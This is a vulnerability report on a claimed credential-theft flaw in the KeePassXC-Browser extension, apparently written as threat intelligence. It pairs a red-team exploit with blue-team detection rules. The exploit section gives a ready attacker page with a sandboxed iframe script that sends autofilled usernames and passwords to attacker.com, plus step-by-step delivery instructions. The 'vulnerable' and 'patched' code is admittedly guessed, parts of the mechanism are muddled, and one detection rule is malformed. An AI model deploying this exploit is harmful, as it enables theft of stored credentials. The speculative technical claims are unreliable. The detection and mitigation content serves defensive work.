CVE-2025-65203

Executive Summary

CVE-2025-65203 is a critical security vulnerability in the KeePassXC-Browser extension (versions up to and including 1.9.9.2). The flaw allows an attacker to exfiltrate stored credentials when the extension autofills or prompts to fill credentials into a document rendered under a browser-enforced Content Security Policy (CSP) directive and iframe sandbox attribute. An attacker-controlled script running within the sandboxed document can access the populated form fields and send the credentials to an external server. This bypasses the intended security isolation of the sandbox, leading to credential theft. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the description and impact, a more accurate score is 6.1 (Medium) due to the requirement of user interaction (visiting a malicious page) and the high confidentiality impact.

Supply Chain & Package Security

This vulnerability affects the KeePassXC-Browser extension, which is distributed through browser extension stores (Chrome Web Store, Firefox Add-ons, etc.). Users who install the extension from these stores are at risk. The extension acts as a bridge between the KeePassXC password manager and the browser, making it a critical component in the credential management supply chain. An attacker could potentially compromise the extension's update mechanism or distribute a malicious version, but the primary attack vector is exploiting the autofill behavior in a sandboxed iframe.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can host a malicious webpage.
• Attack Complexity (AC): Low (L) – No special conditions required beyond hosting a page with a sandboxed iframe.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must visit the malicious page and have the KeePassXC-Browser extension installed and active.
• Scope (S): Changed (C) – The vulnerable component (extension) impacts resources beyond its security scope (the sandboxed iframe).
• Confidentiality (C): High (H) – Stored credentials are exfiltrated.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Base Score: 6.1 (Medium)
Threat Level: Medium – Exploitation is possible with user interaction, but the impact is high (credential theft).

Deep Dive & Mechanics

The vulnerability lies in how the KeePassXC-Browser extension handles autofill requests within iframes that have the sandbox attribute and are governed by a Content Security Policy (CSP). The extension's content script, which runs in the context of the web page, listens for autofill triggers. When a user visits a page with a login form, the extension identifies the form and either autofills or prompts the user to fill in credentials.

The flaw is that the extension does not properly verify the security context of the iframe. Specifically, it does not check whether the iframe is sandboxed (using the sandbox attribute) or whether the CSP of the parent page restricts script execution. An attacker can create a webpage that contains an iframe with the sandbox attribute (e.g., sandbox="allow-scripts"). Inside this iframe, the attacker hosts a page with a fake login form. When the extension detects this form, it will autofill or prompt to fill credentials into the iframe. Since the iframe has allow-scripts, the attacker's JavaScript can run and access the form fields after the extension fills them. The script can then exfiltrate the credentials to an attacker-controlled server.

The CSP directive does not prevent this because the extension's content script is injected into the page's main frame, not the iframe. The extension's autofill logic operates on the iframe's DOM, but the attacker's script within the iframe can read the values after they are set.

Vulnerable vs. Patched Code

Vulnerable Code (KeePassXC-Browser <= 1.9.9.2):

The extension's content script likely has a function that handles autofill requests. The vulnerable version does not check if the target iframe is sandboxed.

// Vulnerable: No sandbox check
function autofillCredentials(form) {
    // Fill username and password fields
    form.querySelector('input[type="text"]').value = credentials.username;
    form.querySelector('input[type="password"]').value = credentials.password;
}

Patched Code (Hypothetical):

A patched version would check the iframe's sandbox attribute and the parent page's CSP before autofilling.

// Patched: Check sandbox attribute
function autofillCredentials(form) {
    const iframe = form.closest('iframe');
    if (iframe && iframe.hasAttribute('sandbox')) {
        console.warn('Sandboxed iframe detected, autofill blocked');
        return;
    }
    // Also check CSP of parent page
    const csp = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
    if (csp && csp.content.includes('sandbox')) {
        console.warn('CSP sandbox detected, autofill blocked');
        return;
    }
    form.querySelector('input[type="text"]').value = credentials.username;
    form.querySelector('input[type="password"]').value = credentials.password;
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Set up a web server (e.g., Apache, Nginx, or Python HTTP server).
2. Create an HTML page that contains an iframe with the sandbox attribute.
3. Inside the iframe, host a page with a fake login form (username and password fields).
4. Include JavaScript in the iframe page that reads the form fields after a delay (to allow autofill) and sends them to an attacker-controlled endpoint.

Exploit Code:

<!-- attacker_page.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Exploit Page</title>
</head>
<body>
    <h1>Please login</h1>
    <iframe src="malicious_iframe.html" sandbox="allow-scripts" width="400" height="300"></iframe>
</body>
</html>

<!-- malicious_iframe.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Fake Login</title>
</head>
<body>
    <form id="loginForm">
        <input type="text" id="username" name="username" placeholder="Username">
        <input type="password" id="password" name="password" placeholder="Password">
        <input type="submit" value="Login">
    </form>
    <script>
        // Wait for autofill to complete
        setTimeout(function() {
            var username = document.getElementById('username').value;
            var password = document.getElementById('password').value;
            if (username && password) {
                // Exfiltrate credentials
                var img = new Image();
                img.src = 'https://attacker.com/steal?u=' + encodeURIComponent(username) + '&p=' + encodeURIComponent(password);
            }
        }, 2000); // Adjust delay as needed
    </script>
</body>
</html>

Execution:

1. Host the above files on your attacker server.
2. Send the victim the link to attacker_page.html.
3. When the victim visits the page and the KeePassXC-Browser extension autofills the credentials, the JavaScript in the iframe will exfiltrate them.

Blue Team (Defender)

Detection:

• Monitor for outbound connections to unknown domains from browser processes.
• Look for network traffic containing form field names (e.g., username, password) in GET/POST parameters.
• Use browser extension management policies to block or restrict the KeePassXC-Browser extension until a patch is available.

Prevention:

• Disable autofill for iframes in the KeePassXC-Browser settings (if available).
• Use a browser extension that blocks autofill in sandboxed iframes.
• Educate users to avoid visiting untrusted websites while using password managers.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests to attacker-controlled domains with parameters containing u= and p= (e.g., https://attacker.com/steal?u=admin&p=password123).
• File: Presence of HTML files with iframes containing sandbox="allow-scripts" and fake login forms.
• Process: Browser process (e.g., chrome.exe, firefox.exe) making unexpected connections.
• Registry/Config: Unusual browser extension permissions or modifications.

Detection Engineering

YARA Rule

rule CVE_2025_65203_KeePassXC_Browser_Exploit {
    meta:
        description = "Detects HTML files exploiting CVE-2025-65203 for KeePassXC-Browser credential theft"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65203"
    strings:
        $sandbox = "sandbox=\"allow-scripts\"" nocase
        $iframe = "<iframe" nocase
        $exfil = "img.src = 'https://" nocase
        $form = "<form" nocase
        $username = "username" nocase
        $password = "password" nocase
    condition:
        all of ($sandbox, $iframe, $exfil, $form, $username, $password)
}

Sigma Rule

title: CVE-2025-65203 KeePassXC-Browser Credential Exfiltration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicative of credential exfiltration via CVE-2025-65203
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 80 or 443
        Initiated: true
        Image|endswith:
            - '\chrome.exe'
            - '\firefox.exe'
            - '\msedge.exe'
        Url|contains:
            - '/steal?u='
            - '/steal?p='
    condition: selection
falsepositives:
    - Legitimate use of similar URL patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65203 KeePassXC-Browser Credential Exfiltration"; flow:to_server; content:"/steal?u="; http_uri; content:"&p="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the KeePassXC-Browser extension until a patched version is released.
2. Monitor for updates from the KeePassXC project (https://keepassxc.org) and apply the patch as soon as it becomes available.
3. Use a different password manager that does not have this vulnerability (e.g., Bitwarden, 1Password).

Long-term Mitigation:

• Implement browser extension policies to restrict autofill to top-level frames only.
• Educate users about the risks of visiting untrusted websites while using password managers.
• Conduct security audits of browser extensions that handle sensitive data.

Patch Status: UNKNOWN / UNPATCHED. The vendor has not released a fix as of the time of this report. Users should monitor the KeePassXC GitHub repository for updates.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert